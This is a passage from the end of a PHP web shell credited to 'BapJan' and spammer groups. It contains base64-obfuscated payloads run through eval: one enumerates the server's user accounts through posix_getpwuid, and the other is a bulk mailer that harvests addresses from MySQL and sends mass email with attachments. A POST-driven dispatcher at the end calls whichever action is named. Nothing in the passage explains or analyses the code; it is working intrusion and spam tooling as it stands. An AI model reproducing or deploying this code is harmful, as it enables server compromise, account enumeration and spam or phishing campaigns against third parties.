1972 eval(base64_decode('JGkgPSAwOw0Kd2hpbGUgKCRpIDwgNjAwMDApIHsNCgkkbGluZSA9IHBvc2l4X2dldHB3dWlkKCRp
1973KTsNCglpZiAoIWVtcHR5KCRsaW5lKSkgew0KCQl3aGlsZSAobGlzdCAoJGtleSwgJHZsKSA9IGVh
1974Y2goJGxpbmUpKXsNCgkJCWVjaG8gIiR2bDwvYnI+IjsNCgkJCWJyZWFrOw0KCQl9DQoJfQ0KIAkk
1975aSsrOw0KfQ=='));
1976 printFooter();
1977}
1978
1979function actionMailer(){
1980 printHeader();
1981 echo '<h1>Mailer</h1>';
1982eval(base64_decode('Ly9Eb250IGNoYW5nZSBhbnl0aGluZyBmcm9tIGJlbG93CiRzZWN1cmUgPSAiIjsKZXJyb3JfcmVwb3J0aW5nKDApOwpAJGFjdGlvbj0kX1BPU1RbJ2FjdGlvbiddOwpAJGZyb209JF9QT1NUWydmcm9tJ107CkAkcmVhbG5hbWU9JF9QT1NUWydyZWFsbmFtZSddOwpAJHJlcGx5dG89JF9QT1NUWydyZXBseXRvJ107CkAkc3ViamVjdD0kX1BPU1RbJ3N1YmplY3QnXTsKQCRtZXNzYWdlPSRfUE9TVFsnbWVzc2FnZSddOwpAJGVtYWlsbGlzdD0kX1BPU1RbJ2VtYWlsbGlzdCddOwpAJGZpbGVfbmFtZT0kX0ZJTEVTWydmaWxlJ11bJ25hbWUnXTsKQCRjb250ZW50dHlwZT0kX1BPU1RbJ2NvbnRlbnR0eXBlJ107CkAkZmlsZT0kX0ZJTEVTWydmaWxlJ11bJ3RtcF9uYW1lJ107CkAkYW1vdW50PSRfUE9TVFsnYW1vdW50J107CnNldF90aW1lX2xpbWl0KGludHZhbCgkX1BPU1RbJ3RpbWVsaW1pdCddKSk7Cj8+CjwhRE9DVFlQRSBodG1sIFBVQkxJQyAiLS8vVzNDLy9EVEQgWEhUTUwgMS4wIFRyYW5zaXRpb25hbC8vRU4iCiAgICJodHRwOi8vd3d3LnczLm9yZy9UUi94aHRtbDEvRFREL3hodG1sMS10cmFuc2l0aW9uYWwuZHRkIj4KPGh0bWw+CjxoZWFkPgo8dGl0bGU+ILBbTWFpTGVyIEJZIFRoZSBHZW4hdXNdsCA8L3RpdGxlPgo8cCBhbGlnbj0iY2VudGVyIj4KPHRpdGxlPiCwW01haUxlciBCWSBUaGUgR2VuIXVzXbAgPC90aXRsZT4KPC9wPgo8bWV0YSBodHRwLWVxdWl2PSJDb250ZW50LVR5cGUiIGNvbnRlbnQ9InRleHQvaHRtbDsgY2hhcnNldD13aW5kb3dzLTEyNTYiPgo8c3R5bGUgdHlwZT0idGV4dC9jc3MiPgo8IS0tCi5zdHlsZTEgewoJZm9udC1mYW1pbHk6IEdlbmV2YSwgQXJpYWwsIEhlbHZldGljYSwgc2Fucy1zZXJpZjsKCWZvbnQtc2l6ZTogMTJweDsKfQouc3R5bGUyIHsKCWZvbnQtc2l6ZTogMTBweDsKCWZvbnQtZmFtaWx5OiBHZW5ldmEsIEFyaWFsLCBIZWx2ZXRpY2EsIHNhbnMtc2VyaWY7Cn0KCi0tPgo8L3N0eWxlPgo8L2hlYWQ+Cjxib2R5IGJnY29sb3I9IiNGNUY1RjUiIHRleHQ9IiMwMDAwMDAiPgoKPD9waHAKSWYgKCRhY3Rpb249PSJteXNxbCIpewovL0dyYWIgZW1haWwgYWRkcmVzc2VzIGZyb20gTXlTUUwKaW5jbHVkZSAiLi9teXNxbC5pbmZvLnBocCI7CgogIGlmICghJHNxbGhvc3QgfHwgISRzcWxsb2dpbiB8fCAhJHNxbHBhc3MgfHwgISRzcWxkYiB8fCAhJHNxbHF1ZXJ5KXsKICAgIHByaW50ICJQbGVhc2UgY29uZmlndXJlIG15c3FsLmluZm8ucGhwIHdpdGggeW91ciBNeVNRTCBpbmZvcm1hdGlvbi4gQWxsIHNldHRpbmdzIGluIHRoaXMgY29uZmlnIGZpbGUgYXJlIHJlcXVpcmVkLiI7CiAgICBleGl0OwogIH0KCiAgJGRiID0gbXlzcWxfY29ubmVjdCgkc3FsaG9zdCwgJHNxbGxvZ2luLCAkc3FscGFzcykgb3IgZGllKCJDb25uZWN0aW9uIHRvIE15U1FMIEZhaWxlZC4iKTsKICBteXNxbF9zZWxlY3RfZGIoJHNxbGRiLCAkZGIpIG9yIGRpZSgiQ291bGQgbm90IHNlbGVjdCBkYXRhYmFzZSAkc3FsZGIiKTsKICAkcmVzdWx0ID0gbXlzcWxfcXVlcnkoJHNxbHF1ZXJ5KSBvciBkaWUoIlF1ZXJ5IEZhaWxlZDogJHNxbHF1ZXJ5Iik7CiAgJG51bXJvd3MgPSBteXNxbF9udW1fcm93cygkcmVzdWx0KTsKCiAgZm9yKCR4PTA7ICR4PCRudW1yb3dzOyAkeCsrKXsKICAgICRyZXN1bHRfcm93ID0gbXlzcWxfZmV0Y2hfcm93KCRyZXN1bHQpOwogICAgICRvbmVlbWFpbCA9ICRyZXN1bHRfcm93WzBdOwogICAgICRlbWFpbGxpc3QgLj0gJG9uZWVtYWlsLiJcbiI7CiAgIH0KICB9CgogIGlmICgkYWN0aW9uPT0ic2VuZCIpeyAkbWVzc2FnZSA9IHVybGVuY29kZSgkbWVzc2FnZSk7CiAgICRtZXNzYWdlID0gZXJlZ19yZXBsYWNlKCIlNUMlMjIiLCAiJTIyIiwgJG1lc3NhZ2UpOwogICAkbWVzc2FnZSA9IHVybGRlY29kZSgkbWVzc2FnZSk7CiAgICRtZXNzYWdlID0gc3RyaXBzbGFzaGVzKCRtZXNzYWdlKTsKICAgJHN1YmplY3QgPSBzdHJpcHNsYXNoZXMoJHN1YmplY3QpOwogICB9Cj8+Cjxmb3JtIG5hbWU9ImZvcm0xIiBtZXRob2Q9InBvc3QiIGFjdGlvbj0iIiBlbmN0eXBlPSJtdWx0aXBhcnQvZm9ybS1kYXRhIj48YnIgLz4KICA8dGFibGUgd2lkdGg9IjE0MiIgYm9yZGVyPSIwIj4KICAgIDx0cj4KCiAgICAgIDx0ZCB3aWR0aD0iODEiPgogICAgICAgIDxkaXYgYWxpZ249InJpZ2h0Ij4KICAgICAgICAgIDxmb250IHNpemU9Ii0zIiBmYWNlPSJWZXJkYW5hLCBBcmlhbCwgSGVsdmV0aWNhLCBzYW5zLXNlcmlmIj5Zb3VyIEVtYWlsOjwvZm9udD4KICAgICAgICA8L2Rpdj4KICAgICAgPC90ZD4KCiAgICAgIDx0ZCB3aWR0aD0iMjE5Ij4KICAgICAgICA8Zm9udCBzaXplPSItMyIgZmFjZT0iVmVyZGFuYSwgQXJpYWwsIEhlbHZldGljYSwgc2Fucy1zZXJpZiI+CiAgICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iZnJvbSIgdmFsdWU9Ijw/cGhwIHByaW50ICRmcm9tOyA/PiIgc2l6ZT0iMzAiIC8+CiAgICAgICAgPC9mb250PgogICAgICA8L3RkPgoKICAgICAgPHRkIHdpZHRoPSIyMTIiPgogICAgICAgIDxkaXYgYWxpZ249InJpZ2h0Ij4KICAgICAgICAgIDxmb250IHNpemU9Ii0zIiBmYWNlPSJWZXJkYW5hLCBBcmlhbCwgSGVsdmV0aWNhLCBzYW5zLXNlcmlmIj5Zb3VyIE5hbWU6PC9mb250PgogICAgICAgIDwvZGl2PgogICAgICA8L3RkPgoKICAgICAgPHRkIHdpZHRoPSIyNzgiPgogICAgICAgIDxmb250IHNpemU9Ii0zIiBmYWNlPSJWZXJkYW5hLCBBcmlhbCwgSGVsdmV0aWNhLCBzYW5zLXNlcmlmIj4KICAgICAgICAgIDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJyZWFsbmFtZSIgdmFsdWU9Ijw/cGhwIHByaW50ICRyZWFsbmFtZTsgPz4iIHNpemU9IjMwIiAvPgogICAgICAgIDwvZm9udD4KICAgICAgPC90ZD4KICAgIDwvdHI+CiAgICA8dHI+CiAgICAgIDx0ZCB3aWR0aD0iODEiPgogICAgICAgIDxkaXYgYWxpZ249InJpZ2h0Ij4KICAgICAgICAgIDxmb250IHNpemU9Ii0zIiBmYWNlPSJWZXJkYW5hLCBBcmlhbCwgSGVsdmV0aWNhLCBzYW5zLXNlcmlmIj5SZXBseS1Ubzo8L2ZvbnQ+CiAgICAgICAgPC9kaXY+CiAgICAgIDwvdGQ+CiAgICAgIDx0ZCB3aWR0aD0iMjE5Ij4KICAgICAgICA8Zm9udCBzaXplPSItMyIgZmFjZT0iVmVyZGFuYSwgQXJpYWwsIEhlbHZldGljYSwgc2Fucy1zZXJpZiI+CiAgICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0icmVwbHl0byIgdmFsdWU9Ijw/cGhwIHByaW50ICRyZXBseXRvOyA/PiIgc2l6ZT0iMzAiIC8+CiAgICAgICAgPC9mb250PgogICAgICA8L3RkPgogICAgICA8dGQgd2lkdGg9IjIxMiI+CiAgICAgICAgPGRpdiBhbGlnbj0icmlnaHQiPgogICAgICAgICAgPGZvbnQgc2l6ZT0iLTMiIGZhY2U9IlZlcmRhbmEsIEFyaWFsLCBIZWx2ZXRpY2EsIHNhbnMtc2VyaWYiPkF0dGFjaCBGaWxlOjwvZm9udD4KICAgICAgICA8L2Rpdj4KICAgICAgPC90ZD4KICAgICAgPHRkIHdpZHRoPSIyNzgiPgogICAgICAgIDxmb250IHNpemU9Ii0zIiBmYWNlPSJWZXJkYW5hLCBBcmlhbCwgSGVsdmV0aWNhLCBzYW5zLXNlcmlmIj4KICAgICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlIiBzaXplPSIyNCIgLz4KICAgICAgICA8L2ZvbnQ+CiAgICAgIDwvdGQ+CiAgICA8L3RyPgogICAgPHRyPgogICAgICA8dGQgd2lkdGg9IjgxIj4KICAgICAgICA8ZGl2IGFsaWduPSJyaWdodCI+CiAgICAgICAgICA8Zm9udCBzaXplPSItMyIgZmFjZT0iVmVyZGFuYSwgQXJpYWwsIEhlbHZldGljYSwgc2Fucy1zZXJpZiI+U3ViamVjdDo8L2ZvbnQ+CiAgICAgICAgPC9kaXY+CiAgICAgIDwvdGQ+CiAgICAgIDx0ZCBjb2xzcGFuPSIzIiB3aWR0aD0iNzAzIj4KICAgICAgICA8Zm9udCBzaXplPSItMyIgZmFjZT0iVmVyZGFuYSwgQXJpYWwsIEhlbHZldGljYSwgc2Fucy1zZXJpZiI+CiAgICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ic3ViamVjdCIgdmFsdWU9Ijw/IHByaW50ICRzdWJqZWN0OyA/PiIgc2l6ZT0iOTAiIC8+CiAgICAgICAgPC9mb250PgogICAgICA8L3RkPgogICAgPC90cj4KICAgIDx0ciB2YWxpZ249InRvcCI+CiAgICAgIDx0ZCBjb2xzcGFuPSIzIiB3aWR0aD0iNTIwIj4KICAgICAgICA8Zm9udCBmYWNlPSJWZXJkYW5hLCBBcmlhbCwgSGVsdmV0aWNhLCBzYW5zLXNlcmlmIiBzaXplPSItMyI+TWVzc2FnZSBCb3ggOjwvZm9udD4KICAgICAgPC90ZD4KICAgICAgPHRkIHdpZHRoPSIyNzgiPgogICAgICAgIDxmb250IGZhY2U9IlZlcmRhbmEsIEFyaWFsLCBIZWx2ZXRpY2EsIHNhbnMtc2VyaWYiIHNpemU9Ii0zIj5FbWFpbCBUYXJnZXQgLyBFbWFpbCBTZW5kIFRvIDo8L2ZvbnQ+CiAgICAgIDwvdGQ+CiAgICA8L3RyPgogICAgPHRyIHZhbGlnbj0idG9wIj4KICAgICAgPHRkIGNvbHNwYW49IjMiIHdpZHRoPSI1MjAiPgogICAgICAgIDxmb250IHNpemU9Ii0zIiBmYWNlPSJWZXJkYW5hLCBBcmlhbCwgSGVsdmV0aWNhLCBzYW5zLXNlcmlmIj4KICAgICAgICAgIDx0ZXh0YXJlYSBuYW1lPSJtZXNzYWdlIiBjb2xzPSI1NiIgcm93cz0iMTAiPjw/cGhwIHByaW50ICRtZXNzYWdlOyA/PjwvdGV4dGFyZWE+PGJyIC8+CiAgICAgICAgICA8aW5wdXQgdHlwZT0icmFkaW8iIG5hbWU9ImNvbnRlbnR0eXBlIiB2YWx1ZT0icGxhaW4iIC8+IFBsYWluCiAgICAgICAgICA8aW5wdXQgdHlwZT0icmFkaW8iIG5hbWU9ImNvbnRlbnR0eXBlIiB2YWx1ZT0iaHRtbCIgY2hlY2tlZD0iY2hlY2tlZCIgLz4gSFRNTAogICAgICAgICAgPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYWN0aW9uIiB2YWx1ZT0ic2VuZCIgLz48YnIgLz4KCSAgTnVtYmVyIHRvIHNlbmQ6IDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJhbW91bnQiIHZhbHVlPSIxIiBzaXplPSIxMCIgLz48YnIgLz4KCSAgTWF4aW11bSBzY3JpcHQgZXhlY3V0aW9uIHRpbWUoaW4gc2Vjb25kcywgMCBmb3Igbm8gdGltZWxpbWl0KTxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJ0aW1lbGltaXQiIHZhbHVlPSIwIiBzaXplPSIxMCIgLz4KICAgICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJTZW5kIGVNYWlscyIgLz4KICAgICAgICA8L2ZvbnQ+CiAgICAgIDwvdGQ+CiAgICAgIDx0ZCB3aWR0aD0iMjc4Ij4KICAgICAgICA8Zm9udCBzaXplPSItMyIgZmFjZT0iVmVyZGFuYSwgQXJpYWwsIEhlbHZldGljYSwgc2Fucy1zZXJpZiI+CiAgICAgICAgICA8dGV4dGFyZWEgbmFtZT0iZW1haWxsaXN0IiBjb2xzPSIzMiIgcm93cz0iMTAiPjw/cGhwIHByaW50ICRlbWFpbGxpc3Q7ID8+PC90ZXh0YXJlYT4KICAgICAgICA8L2ZvbnQ+CiAgICAgIDwvdGQ+CiAgICA8L3RyPgogIDwvdGFibGU+CjwvZm9ybT4KCjw/CmlmICgkYWN0aW9uPT0ic2VuZCIpewogIGlmICghJGZyb20gJiYgISRzdWJqZWN0ICYmICEkbWVzc2FnZSAmJiAhJGVtYWlsbGlzdCl7CiAgICBwcmludCAiUGxlYXNlIGNvbXBsZXRlIGFsbCBmaWVsZHMgYmVmb3JlIHNlbmRpbmcgeW91ciBtZXNzYWdlLiI7CiAgICBleGl0OwogICB9CiAgJGFsbGVtYWlscyA9IHNwbGl0KCJcbiIsICRlbWFpbGxpc3QpOwogICRudW1lbWFpbHMgPSBjb3VudCgkYWxsZW1haWxzKTsKICAkZmlsdGVyID0gIm1haWxsaXN0IjsKICAkZmxvYXQgPSAiRnJvbSA6IG1haWxpc3QgaW5mbyA8bmcyQGxpdmUuZnI+IjsKIC8vT3BlbiB0aGUgZmlsZSBhdHRhY2htZW50IGlmIGFueSwgYW5kIGJhc2U2NF9lbmNvZGUgaXQgZm9yIGVtYWlsIHRyYW5zcG9ydAogSWYgKCRmaWxlX25hbWUpewogICBpZiAoIWZpbGVfZXhpc3RzKCRmaWxlKSl7CglkaWUoIlRoZSBmaWxlIHlvdSBhcmUgdHJ5aW5nIHRvIHVwbG9hZCBjb3VsZG4ndCBiZSBjb3BpZWQgdG8gdGhlIHNlcnZlciIpOwogICB9CiAgICRjb250ZW50ID0gZnJlYWQoZm9wZW4oJGZpbGUsInIiKSxmaWxlc2l6ZSgkZmlsZSkpOwogICAkY29udGVudCA9IGNodW5rX3NwbGl0KGJhc2U2NF9lbmNvZGUoJGNvbnRlbnQpKTsKICAgJHVpZCA9IHN0cnRvdXBwZXIobWQ1KHVuaXFpZCh0aW1lKCkpKSk7CiAgICRuYW1lID0gYmFzZW5hbWUoJGZpbGUpOwogIH0KCiBmb3IoJHh4PTA7ICR4eDwkYW1vdW50OyAkeHgrKyl7CiAgZm9yKCR4PTA7ICR4PCRudW1lbWFpbHM7ICR4KyspewogICAgJHRvID0gJGFsbGVtYWlsc1skeF07CiAgICBpZiAoJHRvKXsKICAgICAgJHRvID0gZXJlZ19yZXBsYWNlKCIgIiwgIiIsICR0byk7CiAgICAgICRtZXNzYWdlID0gZXJlZ19yZXBsYWNlKCImZW1haWwmIiwgJHRvLCAkbWVzc2FnZSk7CiAgICAgICRzdWJqZWN0ID0gZXJlZ19yZXBsYWNlKCImZW1haWwmIiwgJHRvLCAkc3ViamVjdCk7CiAgICAgIHByaW50ICJTZW5kaW5nIG1haWwgdG8gJHRvLi4uLi4uLiI7CiAgICAgIGZsdXNoKCk7CiAgICAgICRoZWFkZXIgPSAiRnJvbTogJHJlYWxuYW1lIDwkZnJvbT5cclxuUmVwbHktVG86ICRyZXBseXRvXHJcbiI7CiAgICAgICRoZWFkZXIgLj0gIk1JTUUtVmVyc2lvbjogMS4wXHJcbiI7CiAgICAgIElmICgkZmlsZV9uYW1lKSAkaGVhZGVyIC49ICJDb250ZW50LVR5cGU6IG11bHRpcGFydC9taXhlZDsgYm91bmRhcnk9JHVpZFxyXG4iOwogICAgICBJZiAoJGZpbGVfbmFtZSkgJGhlYWRlciAuPSAiLS0kdWlkXHJcbiI7CiAgICAgICRoZWFkZXIgLj0gIkNvbnRlbnQtVHlwZTogdGV4dC8kY29udGVudHR5cGVcclxuIjsKICAgICAgJGhlYWRlciAuPSAiQ29udGVudC1UcmFuc2Zlci1FbmNvZGluZzogOGJpdFxyXG5cclxuIjsKICAgICAgJGhlYWRlciAuPSAiJG1lc3NhZ2VcclxuIjsKICAgICAgSWYgKCRmaWxlX25hbWUpICRoZWFkZXIgLj0gIi0tJHVpZFxyXG4iOwogICAgICBJZiAoJGZpbGVfbmFtZSkgJGhlYWRlciAuPSAiQ29udGVudC1UeXBlOiAkZmlsZV90eXBlOyBuYW1lPVwiJGZpbGVfbmFtZVwiXHJcbiI7CiAgICAgIElmICgkZmlsZV9uYW1lKSAkaGVhZGVyIC49ICJDb250ZW50LVRyYW5zZmVyLUVuY29kaW5nOiBiYXNlNjRcclxuIjsKICAgICAgSWYgKCRmaWxlX25hbWUpICRoZWFkZXIgLj0gIkNvbnRlbnQtRGlzcG9zaXRpb246IGF0dGFjaG1lbnQ7IGZpbGVuYW1lPVwiJGZpbGVfbmFtZVwiXHJcblxyXG4iOwogICAgICBJZiAoJGZpbGVfbmFtZSkgJGhlYWRlciAuPSAiJGNvbnRlbnRcclxuIjsKICAgICAgSWYgKCRmaWxlX25hbWUpICRoZWFkZXIgLj0gIi0tJHVpZC0tIjsKICAgICAgbWFpbCgkdG8sICRzdWJqZWN0LCAiIiwgJGhlYWRlcik7CiAgICAgIHByaW50ICJvazxicj4iOwogICAgICBmbHVzaCgpOwogICAgfQogIH0KIH0KCn0K'));
1983 printFooter();
1984}
1985
1986function actionabout(){
1987 printHeader();
1988 echo '<h1>About</h1>';
1989 echo '<div class="content">';
1990 echo "<div class=header><center><h3><span>Coded By - BapJan</span></h3>Thanks To : System - Tr0Jan-HacKer - Team OmarXarmy - all Private SpammerZ Shell<br><br />";
1991 echo "<br><br /><br /></div>";
1992 echo '</div>';
1993 printFooter();
1994}
1995
1996if( empty($_POST['a']) )
1997 if(isset($default_action) && function_exists('action' . $default_action))
1998 $_POST['a'] = $default_action;
1999 else
2000 $_POST['a'] = 'SecInfo';
2001if( !empty($_POST['a']) && function_exists('action' . $_POST['a']) )
2002 call_user_func('action' . $_POST['a']);